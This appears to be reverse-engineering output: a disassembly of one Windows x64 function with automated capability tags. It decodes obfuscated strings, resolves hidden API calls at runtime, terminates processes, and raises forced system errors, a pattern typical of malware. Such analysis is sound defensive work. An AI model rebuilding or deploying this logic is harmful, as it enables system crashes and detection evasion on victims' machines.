Function at 0x14003a590
Capabilities:
Encode data using xor
Link many functions at runtime
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
vmovaps xmmword [rax - 0x18], xmm6
vmovaps xmmword [rax - 0x28], xmm7
vmovaps xmmword [rax - 0x38], xmm8
vmovaps xmmword [rax - 0x48], xmm9
vmovaps xmmword [rax - 0x58], xmm10
mov rax, qword [0x14006b060]
xor rax, rsp
mov qword [rbp - 1], rax
vmovups xmm0, xmmword [str.EaV_XQWKWZHTQQ]
vmovsd xmm1, qword [0x140060f50]
xor ebx, ebx
cmp byte [0x140060f57], bl
vmovups xmmword [rbp - 0x31], xmm0
vmovsd qword [rbp - 0x21], xmm1
lea edi, [rbx + 4]
lea esi, [rbx + 0x1f]
je 0x14003a709
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
vmovdqu xmmword [rbp - 0x19], xmm0
mov r8d, dword [rbp - 0x19]
lea rcx, [rbp - 0x2d]
mov edx, ebx
vmovd xmm8, edi
vmovd xmm10, esi
nop word [rax + rax]
vmovd xmm0, edx
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, r8d
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
add edx, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, r8d
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp edx, 0x18
jl 0x14003a640
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [0x140060e70]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
mov qword [0x1401a3e30], rax
lea rcx, [rbp - 0x2d]
mov eax, dword [0x140060e80]
mov r8d, ebx
mov dword [rbp - 0x21], eax
movzx eax, word [0x140060e84]
vmovups xmmword [rbp - 0x31], xmm0
vmovdqu xmm0, xmmword [0x140061fe0]
mov word [rbp - 0x1d], ax
movzx eax, byte [0x140060e86]
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
mov byte [rbp - 0x1b], al
vmovd xmm8, edi
vmovd xmm10, esi
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
add r8d, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp r8d, 0x10
jl 0x14003a7c0
cmp r8d, 0x17
jge 0x14003a8d1
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14003a8a0
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x140060ee7], bl
vmovups xmm0, xmmword [str.bE_QAfEWZ_HOtM2_6_GXEFC]
vmovsd xmm1, qword [0x140060ee0]
vmovups xmmword [rbp - 0x31], xmm0
vmovsd qword [rbp - 0x21], xmm1
mov qword [0x1401a3e58], rax
je 0x14003aa49
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
vmovdqu xmmword [rbp - 0x19], xmm0
mov r8d, dword [rbp - 0x19]
lea rcx, [rbp - 0x2d]
mov edx, ebx
vmovd xmm8, edi
vmovd xmm10, esi
nop dword [rax + rax]
vmovd xmm0, edx
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, r8d
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
add edx, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, r8d
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp edx, 0x18
jl 0x14003a980
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [str.bE_QAb_J__uNM_5___F]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
mov qword [0x1401a3e38], rax
lea rcx, [rbp - 0x2d]
mov eax, dword [0x140060f18]
mov r8d, ebx
mov dword [rbp - 0x21], eax
movzx eax, word [0x140060f1c]
vmovups xmmword [rbp - 0x31], xmm0
vmovdqu xmm0, xmmword [0x140061fe0]
mov word [rbp - 0x1d], ax
movzx eax, byte [0x140060f1e]
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
mov byte [rbp - 0x1b], al
vmovd xmm8, edi
vmovd xmm10, esi
nop word [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
add r8d, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp r8d, 0x10
jl 0x14003ab00
cmp r8d, 0x17
jge 0x14003ac11
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14003abe0
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [str.bErP_CDLiHRJTRZ_B]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
mov qword [0x1401a3e60], rax
lea rcx, [rbp - 0x2d]
movzx eax, word [0x140060e98]
mov r8d, ebx
vmovups xmmword [rbp - 0x31], xmm0
vmovdqu xmm0, xmmword [0x140061fe0]
mov word [rbp - 0x21], ax
movzx eax, byte [0x140060e9a]
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
mov byte [rbp - 0x1f], al
vmovd xmm8, edi
vmovd xmm10, esi
nop dword [rax]
nop dword [rax + rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
add r8d, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp r8d, 0x10
jl 0x14003acc0
cmp r8d, 0x13
jge 0x14003add1
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14003ada0
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [str.bE_QAb_J__uNM_5___F]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
mov qword [0x1401a3e40], rax
lea rcx, [rbp - 0x2d]
mov eax, dword [0x140060f18]
mov r8d, ebx
mov dword [rbp - 0x21], eax
movzx eax, word [0x140060f1c]
vmovups xmmword [rbp - 0x31], xmm0
vmovdqu xmm0, xmmword [0x140061fe0]
mov word [rbp - 0x1d], ax
movzx eax, byte [0x140060f1e]
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
mov byte [rbp - 0x1b], al
vmovd xmm8, edi
vmovd xmm10, esi
nop dword [rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
add r8d, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp r8d, 0x10
jl 0x14003ae80
cmp r8d, 0x17
jge 0x14003af91
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14003af60
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [str.E_R_FS]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
vmovups xmmword [rbp - 0x31], xmm0
vmovdqu xmm0, xmmword [0x140061fe0]
mov qword [0x1401a3e60], rax
lea rcx, [rbp - 0x2d]
movzx eax, byte [0x140060eb0]
mov r8d, ebx
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
mov byte [rbp - 0x21], al
vmovd xmm8, edi
vmovd xmm10, esi
nop dword [rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
add r8d, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp r8d, 0x10
jl 0x14003b030
cmp r8d, 0x11
jge 0x14003b141
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14003b110
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
vmovups xmm0, xmmword [0x140060f58]
mov qword [0x1401a3e48], rax
vpextrb eax, xmm0, 0xf
vmovups xmmword [rbp - 0x31], xmm0
test al, al
je 0x14003b2a7
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062010]
vmovdqu xmm9, xmmword [0x140061f30]
vmovdqu xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
lea rcx, [rbp - 0x2d]
vmovd xmm8, edi
vmovd xmm10, esi
nop word [rax + rax]
vmovd xmm0, ebx
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vmovd xmm0, dword [rcx - 4]
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [rbx + 4]
add ebx, 8
lea rcx, [rcx + 8]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vmovd xmm0, edx
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx - 8]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx - 8], xmm1
cmp ebx, 0x10
jl 0x14003b1e0
mov eax, dword [str.EV_X5]
lea rcx, [rbp - 0x39]
mov dword [rbp - 0x39], eax
movzx eax, word [0x140060e58]
xor byte [rbp - 0x38], 0x31
xor byte [rbp - 0x37], 0x32
xor byte [rbp - 0x36], 0x33
mov word [rbp - 0x35], ax
xor byte [rbp - 0x35], 0x34
xor byte [rbp - 0x34], 0x35
mov byte [rbp - 0x39], 0x6e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov qword [0x1401a3e50], rax
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 9]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
test eax, eax
jne 0x14003b32d
call qword [0x1401a3e50]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 8]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
xor r8d, r8d
test eax, eax
jne 0x14003b35e
xor edx, edx
mov cl, 1
call qword [0x1401a3e60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 9]
mov edx, 1
lea ecx, [rdx + 0x13]
call rax
xor r8d, r8d
test eax, eax
jne 0x14003b38d
xor edx, edx
mov cl, 1
call qword [0x1401a3e38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 8]
mov edx, 1
lea ecx, [rdx + 0x13]
call rax
test eax, eax
jne 0x14003b3d4
mov rbx, qword [0x1401a3e58]
mov dword [rbp - 5], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r9d, edi
lea r8, [rbp - 5]
mov rcx, rax
mov edx, 0x12
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 9]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
test eax, eax
jne 0x14003b41d
mov rbx, qword [0x1401a3e30]
mov dword [rbp - 5], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rbp - 5]
mov rcx, rax
mov edx, 0x1d
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [0x1401a3e40]
lea r9, [rbp - 8]
xor r8d, r8d
mov dword [rbp - 5], 8
lea edx, [r8 + 1]
lea ecx, [rdx + 0x12]
call rax
lea rax, [rbp - 5]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000217
call qword [0x1401a3e48]
lea rax, [rbp - 5]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xdeaddead
call qword [0x1401a3e48]
xor eax, eax
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.14000ee10
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
vmovaps xmm6, xmmword [r11 - 0x10]
vmovaps xmm7, xmmword [r11 - 0x20]
vmovaps xmm8, xmmword [r11 - 0x30]
vmovaps xmm9, xmmword [r11 - 0x40]
vmovaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop rbp
ret